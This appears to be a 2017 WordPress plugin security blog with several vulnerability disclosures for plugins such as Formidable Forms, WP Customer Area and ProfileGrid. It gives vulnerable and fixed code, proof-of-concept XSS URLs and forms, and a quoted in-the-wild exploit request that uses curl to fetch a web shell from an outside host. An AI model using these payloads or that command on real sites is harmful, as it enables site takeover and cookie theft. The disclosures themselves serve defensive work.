04 Dec

New WordPress Plugins Continue to Use Third-Party Library with Vulnerability Disclosed Years Ago

As we continue to work on expanding what security issues our WordPress plugin security checker tool can check for, one of the things that doing that work has lead us to take notice of is the extent that plugins are using third-party libraries that haven’t been supported in a long time. Just like a plugin that hasn’t been supported, if there has been a security vulnerability that has been discovered, it is unlikely to be fixed. That is the case with the third-party library CSSTidy, which was last updated in 2007.

One of the files in that contains a reflected cross-site scripting (XSS) vulnerability that has been publicly disclosed for years, for example, it was disclosed in one WordPress plugin back in July of 2012. Where we ran across recently across it was in a disclosure by Ricardo Sanchez of it in the plugin AMP Toolbox. That plugin has included the file and therefore been vulnerable since the first release of the plugin, which was only in May of last year.

As we were looking around at this before adding a check for usage of the vulnerable file from the library to our tool we found that it was also used in the plugin Super Simple Custom CSS, which has only been around since July of last year.

In Super Simple Custom CSS the relevant files is located at /super-simple-custom-css/css_optimiser.php and the relevant lines for the issue mentioned in the previous discomposure 142 and 143 of that:

name="url" id="url" <?php if(isset($_REQUEST['url']) &&
!empty($_REQUEST['url'])) echo 'value="'.$_REQUEST['url'].'"'; ?>

The PHP code there checks if a GET or POST input “url” exists and isn’t empty, if both of those are true then the value of the input is output without being escaped.

We notified the developer of the issue a week ago. We haven’t heard back from them and no new version has been released to fix the issue. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Also, worth noting with this, is that this is something that the security review that is done of new plugins in the Plugin Directory is supposed to be catching, as one of the items on their security checklist is:

Escape all data before output (See: Data Validation)

Considering that the review team seems to be missing more obvious instances of this type of issue, missing this in this plugin and AMP Toolbox through a third-party library isn’t all that surprising. While we think the reviews would be better if they focused on issues more likely to lead to exploitable vulnerabilities, running newly submitted plugins through our tool would now catch usage of this library. Currently we allow paying customers to use the tool to test plugins that are not currently in the Plugin Directory, but we would be happy to provide free access to that capability to the plugin review team.

Proof of Concept

The following proof of concept will cause an alert box with the message “XSS” to be shown. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-content/plugins/super-simple-custom-css/css_optimiser.php?url=%22%3E%3Cscript%3Ealert('XSS');%3C/script%3E

Timeline

  • November 27, 2017 – Developer notified.
01 Dec

Vulnerability Details: Reflected Cross-Site Scripting (XSS) Vulnerability in User Role Editor

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

All three changelog entries for version 4.38 of the plugin User Role Editor are security related, possibly indicating that some sort of ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for half off (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

01 Dec

Vulnerability Details: Reflected Cross-Site Scripting (XSS) Vulnerability in Special Text Boxes

Recently the web scanner service Detectify has been vaguely disclosing minor vulnerabilities in a number of WordPress plugins. It seems like they are aware that they could notify the developers of these, but usually haven’t been doing it. One of the more recent batch was an “Authenticated XSS” vulnerability in the plugin Special Text Boxes.

Based on the previous instances we figured that would refer to ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for half off (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

27 Nov

A WordPress Plugin Having Ten Thousand Installs Doesn’t Mean it Will Have Been Reviewed for Security

When it comes to the security of WordPress plugins there are a lot of misconceptions out there (many times they are being repeated by security companies). One of them is that a more popular plugin is going to be more secure because it has been reviewed for security. Here is an example of this claim from a recent thread on Reddit:

it is important to note that there are many thousands of WordPress plugins available, and many of them have only been installed on a handful of websites. Lesser known or less popular plugins will often not have been reviewed for security, and may contain flaws.

For that reason, I recommend avoiding plugins or themes that don’t have several thousand installs (10k+ is a good rule of thumb) on security-conscious installs, unless you can have a developer inspect and vet the code for you.

As is true of so much security advice, there isn’t any evidence presented to back that claim up, which should be a red flag. In our compiling data on WordPress vulnerabilities for our service we haven’t seen evidence that there are many security reviews being done of WordPress plugins, so assuming that more popular plugins have had a security review is not a good idea.

Another way to look at is to see if there are easy to spot vulnerabilities in say a plugin 10,000+ active installations, which happen to have an example of from some checking we were doing related to our tool for doing limited automated security checks of WordPress plugins. One of the checks included in the tool is when user input is being directly output, which could lead to reflected cross-site scripting (XSS). That is something it would have detected in the plugin WP Customer Area up until we notified the developer of the issue and it was fixed.

Before we get the details its worth mentioning that this plugin has a couple of other attributes that get cited as being ones that should be used to decide if a plugin is secure, those being that it was recently updated (as of when we went to notify the developer) and with having positive reviews:

In three files the plugin contained the following line:

 

<input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>"/>

That would echo the GET or POST input “page” without escaping it, so for example malicious JavaScript code could be output. Major web browsers other than Firefox provide XSS filtering, so to be exploitable the hacker would have to figure out a way around that or hope that the person to be exploited is using Firefox.

Now there is little bit more to this vulnerability, which gets to why simply using an automated tool, like ours, isn’t enough to determine if there are vulnerabilities. In this case to get that code to run the value of the GET input “page” has to be set to a specific value, in the case of one of the files, /src/php/core-addons/admin-area/templates/private-post-list-page.template.php, it would have to be set to “wpca-list,content,cuar_private_fil”. So that couldn’t also be used for malicious code, but you can set the POST input to another value and it looks like normally the $_REQUEST variable would contain the value of the POST input instead of the GET input.

After we notified the developer of the issue, they released version 7.4.3, which fixes the vulnerability escaping the user input:

<input type="hidden" name="page" value="<?php echo esc_attr($_REQUEST['page']) ?>"/>

There Isn’t an Shortcut to Determining if a Plugin is Secure

With all the claims we have seen so far relate to determining if a plugin is secure, none of them have pointed to a way that you can truly determine if a plugin is secure without actually having a security review done. For example, even using a much more popular than one with 10,000+ active installations, isn’t going to mean that it is secure, as can be seen with another plugin with 300,000+ active installations we looked at recently that had five different vulnerabilities (and still has them, as they still haven’t been fixed).

Our aforementioned tool is able to detect some possible issues and we are continuing to expand what it can do, but it won’t catch a lot of issues, including any of those in 300,000+ active installation plugin at the moment.

If you want to get plugins you use checked over, that is something we offer. If you are paying customer of our service one of the things you get is the ability to suggest/vote for plugins from the Plugin Directory to receive a review from us and you can also order a security review separately from us.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box, when logged in as an Administrator. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=wpca-list%2Ccontent%2Ccuar_private_file" method="POST">
<input type="hidden" name="page" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • November 21, 2017 –  Developer notified.
  • November 21, 2017 –  Developer responds.
  • November 24, 2017 –  Version 7.4.3 released, which fixes vulnerability.
27 Nov

Easy to Spot Vulnerabilities in WordPress Plugins Can Be an Indication of Poor Development Practices and Further Issues

In testing out a new check we were adding to our tool for doing limited automated security checks of WordPress plugins we ran the plugin ProfileGrid through the tool, since it had previously had the security issue being checked for. That security issue involved usage of a third-party library that hadn’t been updated in 8 years (the library was added to the plugin 9 months ago) and would leak potentially sensitive information about financial transactions. When we ran the plugin through the tool we found that the tool identified that plugin possibly contained a fairly obvious reflected cross-site scripting (XSS) vulnerability. In looking over things we found that there were multiple instances of this issue in the plugin and that it looks like debugging code has been left in the plugin, so the plugin didn’t look exactly production ready in addition to be being insecure.

That wasn’t really surprising when we noticed that one of the developers is CMSHelpLive, which is a company we noted over a year ago at our main blog was still running a version of Joomla that had been EOL’d four and half years ago, while offering to clean up hacked Joomla websites. Over a year later they are still running that version. (It would be hard to make up claims about the poor handling of security by companies involved in security that could outdo what they really do.)

There are several places the reflected XSS vulnerability existed, but as an example let’s take a look one of them that has existed since the first version of the plugin. That involves the usage the outputting of the GET input “search” in the file /admin/partials/user-manager.php, which is used to generate the page /wp-admin/admin.php?page=pm_user_manager. On lines 112 and 115 of that file that input is echo’d without being escaped:

 <input type="text" class="sb-search" name="search" id="search" value="<?php if(isset($_GET['search'])) echo $_GET['search'];?>">
 </div>
 <?php if(isset($_GET['search']) && $_GET['search']!=''):?>
 <div class="sb-search-keyword" id="search_keyword"><?php echo $_GET['search'];?> <span onclick="show_hide_search_text()">x</span></div>

That is a pretty clear cut issue and when we went check things out to make sure there wasn’t any code elsewhere that would restrict that from being exploitable, there wasn’t.

Also, worth noting with this, is that this is something that the security review that is done of new plugins in the Plugin Directory is supposed to be catching, as one of the items on their security checklist is:

Escape all data before output (See: Data Validation)

The plugin is only eleven months old, so the failure to spot this doesn’t seem like it can be blamed on a previous lower standard. While we think the reviews would be better if they focused on issues more likely to lead to an exploitable vulnerabilities, if the team behind this was interested with improving what they are doing now we could certainly help them considering that our automated tool was able to pick this issue up.

In terms of the debugging code, an example were the following commented out lines in the file /admin/partials/add-section.php:

 //echo '<pre>';print_r($_POST);echo '</pre>';die;
 //print_r($identifier);die;

Beyond not needing to be there, in another location what looks to be debugging code was left running in the production version of the plugin. The last line shown below would output any POST input with a request after the code generates a success message (in the file /public/partials/profile-magic-payment-process.php):

 case "success": // success case to show the user payment got success
 echo '<div id="crf-form">';
 echo "<div class='info-text'>".__('Payment Transaction Done Successfully','profile-magic')."</br>";
 echo '</div></div>';
 print_r($_POST);

After we notified the developer of the issue, they released version 2.6.7, which resolved the instances of the plugin directly outputting unescaped output. The example shown above was changed to this:

 <input type="text" class="sb-search" name="search" id="search" value="<?php if(isset($_GET['search'])) echo esc_attr( filter_input(INPUT_GET, 'search', FILTER_SANITIZE_STRING) );?>">
 </div>
 <?php if(isset($_GET['search']) && $_GET['search']!=''):?>
 <div class="sb-search-keyword" id="search_keyword"><?php echo esc_html( filter_input(INPUT_GET, 'search', FILTER_SANITIZE_STRING) );?> <span onclick="show_hide_search_text()">x</span></div>

It isn’t clear why they used an escaping function and filter_input on those, since the escaping function should be enough.

They also removed the relevant debugging code made some other security changes in that version.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box, when logged in as an Administrator. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?page=pm_user_manager&search=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E

Timeline

  • November 20, 2017 – Developer notified.
  • November 21, 2017 – Developer responds.
  • November 23, 2017 – Version 2.6.7 released, which fixes vulnerability.
09 Nov

Vulnerability Details: Shortcode Execution Vulnerability in Formidable Forms

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

When Robert Mathews disclosed that an authenticated remote code execution (RCE) vulnerability that had been in the plugin Shortcodes Ultimate was being exploited his description of the issue also indicated that there has been a vulnerability in the plugin Formidable Forms:

This is a simplified version of an exploit I saw this morning, which didn’t require a contributor role account because it took advantage of the fact that another plugin (“Formidable Forms” accepts untrustedinput and passes it to do_shortcode(). That looked like this:

POST /wp-admin/admin-ajax.php HTTP/1.1

action=frm_forms_preview&form={‘asdf-asdf’}&before_html=[su_meta key=1 post_id=1 default=’curl http://sazinco.ir/wp-content/shell.txt > ../wp-content/upoad.php’ filter=’system’]&custom_style=1

When we went to look into that, we were not able to get that to work in the current version of the plugin. We couldn’t find any recent disclosures of vulnerabilities in the plugins that could explain that. We did notice that last couple of updates had security fixes listed in the changelog, but neither of them seemed to match the issue based on their description.

After looking closer at the current version and not seeing anything in that could explain how POST input sent in that request could have been utilized by the plugin, but noticing something else that we will get to in a separate post, we notified the developer of that disclosure and that other issue. The developer responded that the disclosed issue had been resolved in 2.5.0.2, which was released on October 25. After getting that information, one entry in the changelog for that version stood out:

Fix: XSS vulnerability on form preview page. Don’t check POST values before displaying the form

It turns out by “don’t check POST values”, they really meant don’t use them, which is what was causing the issue.

What seems to be relevant change is in the function setup_new_vars() in the file /classes/helpers/FrmEntriesHelper.php where the following code:

67
68
69
70
foreach ( $form->options as $opt => $value ) {
	$values[ $opt ] = FrmAppHelper::get_post_param( $opt, $value );
	unset($opt, $value);
}

was replaced with the following code in 2.5.0.2:

64
$values = array_merge( $values, $form->options );

That causes the POST inputs’ values to not be used when creating a preview of a form.

In prior version it was possible to execute shortcodes through that as well as use it to cause reflected cross-site scripting (XSS) to occur on the form preview page.

The preview form preview can be accessed through WordPress’ AJAX functionality by those not logged as well those logged in, which we will be the focus of an upcoming post:

add_action( 'wp_ajax_frm_forms_preview', 'FrmFormsController::preview' );
add_action( 'wp_ajax_nopriv_frm_forms_preview', 'FrmFormsController::preview' );

Since this vulnerability is being exploited, we have made this vulnerability details post public (unlike most of them that are limited to our customers) and we are also adding the vulnerability to the free data that comes with our service’s companion plugin, which it would probably be a good idea to be using even if you don’t use our service.

Proof of Concept for Shortcode Execution

The following proof of concept will cause a specified short code to be executed.

Make sure to replace “[path to WordPress]” with the location of WordPress and [shortcode]” with the shortcode to be executed.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=create" method="POST">
<input type="hidden" name="action" value='frm_forms_preview' />
<input type="hidden" name="form" value="{'contact-form'}" />
<input type="hidden" name="before_html" value="[shortcode]" />
<input type="hidden" name="custom_style" value="1" />
<input type="submit" value="Submit" />
</form>
</body>

Proof of Concept for Reflected Cross-Scripting (XSS)

The following proof of concept will cause an alert box with the message “XSS” to be shown. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=create" method="POST">
<input type="hidden" name="action" value='frm_forms_preview' />
<input type="hidden" name="form" value="{'contact-form'}" />
<input type="hidden" name="before_html" value="<script>alert('XSS')</script>" />
<input type="hidden" name="custom_style" value="1" />
<input type="submit" value="Submit" />
</form>
</body>
01 Nov

Vulnerability Details: Reflected Cross-Site Scripting (XSS) Vulnerability in Pretty Links (Lite)

Earlier today we posted the details of a reflected cross-site scripting (XSS) vulnerability in the plugin Pretty Links (Lite) that was somewhat vaguely disclosed by Detectify about a month ago. Shortly after that had been disclosed the website WPCampus had included reference to that in their weekly spreadsheet of vulnerabilities in WordPress, though they pointed to information on a possible different ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for half off (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

01 Nov

Vulnerability Details: Reflected Cross-Site Scripting (XSS) Vulnerability in Pretty Links (Lite)

About a month ago we noted that the security scanner service Detectify seemed to have disclosed a number of unfixed reflected cross-site scripting (XSS) vulnerabilities in WordPress plugins that the developers may not have been notified of. One of those was in the plugin Pretty Links (Lite). It looks like the vulnerability that might be referred to there would be only exploitable in the ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for half off (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

31 Oct

Vulnerability Details: Reflected Cross-Site Scripting (XSS) Vulnerability in Anti-Malware Security and Brute-Force Firewall

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

About a month we noted that the security scanner service Detectify seemed to have disclosed a number of unfixed reflected ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for half off (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

23 Oct

Vulnerability Details: Reflected Cross-Site Scripting (XSS) Vulnerability in Popup by Supsystic

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

Recently the web scanner service Detectify has been vaguely disclosing minor vulnerabilities in a number of WordPress plugins. It seems ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for half off (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.